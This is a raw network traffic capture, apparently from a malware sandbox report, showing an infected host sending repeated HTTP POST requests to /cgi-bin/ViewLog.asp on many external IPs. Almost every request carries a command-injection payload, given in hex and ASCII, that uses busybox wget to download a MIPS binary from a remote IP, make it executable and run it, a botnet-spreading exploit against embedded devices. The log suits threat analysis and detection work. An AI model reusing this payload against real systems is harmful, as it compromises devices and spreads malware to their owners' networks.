                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:29.562577009 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:31.962656021 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:36.570419073 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:45.786289930 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:04.217717886 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.080614090 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                358192.168.2.155547295.168.168.1658080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:28.638662100 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:29.199807882 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:29.380814075 CET488INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:21:29 GMT
                                                Server: Apache/2.4.52 (Ubuntu) OpenSSL/3.0.2
                                                Content-Length: 226
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                359192.168.2.156013294.121.136.2328080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:28.670273066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                360192.168.2.155362031.136.37.348080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:29.077807903 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:29.658782959 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:30.778543949 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:33.246490002 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:37.850434065 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:46.810183048 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:06.265674114 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.128592014 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                361192.168.2.153980895.217.180.1838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:29.088558912 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:29.284276009 CET244INHTTP/1.1 200 OK
                                                Content-Type: text/plain
                                                Date: Thu, 23 Nov 2023 04:21:29 GMT
                                                Connection: keep-alive
                                                Keep-Alive: timeout=5
                                                Transfer-Encoding: chunked
                                                Data Raw: 62 0d 0a 74 65 73 74 69 6e 67 2e 2e 2e 0a 0d 0a 30 0d 0a 0d 0a
                                                Data Ascii: btesting...0


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                362192.168.2.154842462.109.8.1818080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:29.097285032 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:29.301641941 CET505INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:21:29 GMT
                                                Server: Apache/2.4.25 (Debian) mod_fcgid/2.3.9 OpenSSL/1.0.2u
                                                Content-Length: 226
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                363192.168.2.153942895.105.250.928080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:29.109009027 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:29.320400000 CET453INHTTP/1.1 404 Not Found
                                                Date: Thu, 23 Nov 2023 05:21:28 GMT
                                                Server: Webs
                                                X-Frame-Options: SAMEORIGIN
                                                Cache-Control: no-cache
                                                Content-Length: 166
                                                Content-Type: text/html
                                                Connection: keep-alive
                                                Keep-Alive: timeout=60, max=99
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                364192.168.2.154008894.187.118.1908080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:29.111643076 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                365192.168.2.155340694.120.255.1248080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:29.119657040 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                366192.168.2.154361031.136.162.1108080
